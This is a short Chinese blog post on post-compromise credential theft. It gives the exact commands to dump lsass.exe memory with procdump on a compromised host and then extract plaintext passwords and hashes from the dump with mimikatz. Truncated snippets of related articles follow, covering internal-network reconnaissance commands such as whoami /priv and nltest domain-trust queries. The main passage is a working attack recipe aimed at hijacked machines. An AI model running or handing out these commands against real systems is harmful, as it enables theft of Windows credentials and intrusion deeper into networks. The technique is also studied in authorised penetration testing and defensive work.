1、procdump
上传procdump.exe从lsass.exe获取密码文件，在 lsass.exe 里并不是只存有 lm hash 和 ntlm hash 而已应该还存在有你的明文密码经过某种加密算法 (注意: 是加密算法 而不是hash算法 加密算法是可逆的 hash算法是不可逆的)
2、dump密码文件的命令
在肉鸡上执行procdump64.exe -accepteula -ma lsass.exe lsass.dmp 注意64位32位
3、下载密码文件到本地密码文件结合mimikatz解密获取密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
1、procdump 上传procdump.exe从lsass.exe获取密码文件，在 lsass.exe 里并不...
一、mimikatz结合procdump破解密码 mimikatz.exe "sekurlsa::minidump...
0x01 whoami /user && whoami /priv 查看当前用户名&&查看当前用户特权名(查看当前...
内网信息收集与上传下载可以说内网渗透测试，其本质就是信息收集。信息收集的深度，直接关系到内网渗透测试的成败。当你拿...
总结下内网信息收集时用到的方法，由于是想到什么写什么，所以文章比较混乱..... 一、Windows cmd命令 ...
通常当我们拿下一台主机之后，我们的目的是内网横向渗透，在这个过程中必不可少的一项就是信息收集，信息收集的越全面，往...
00 信息收集的方向 主机存活探测 主机端口开放情况 主机服务探测 主机操作系统探测 网段分布情况 漏洞信息探测 ...
1 主机信息收集常用工具 PowerView.ps1: windows内网收集powershell工具https:...
1 主机信息收集关键点 主机名---------------------------------------hos...
信任域查询：查询某域控的信任域：nltest /domain_trusts /all_trusts /v /ser...
本文标题：内网密码信息收集之procdump
本文链接：https://www.haomeiwen.com/subject/hjvgactx.html
网友评论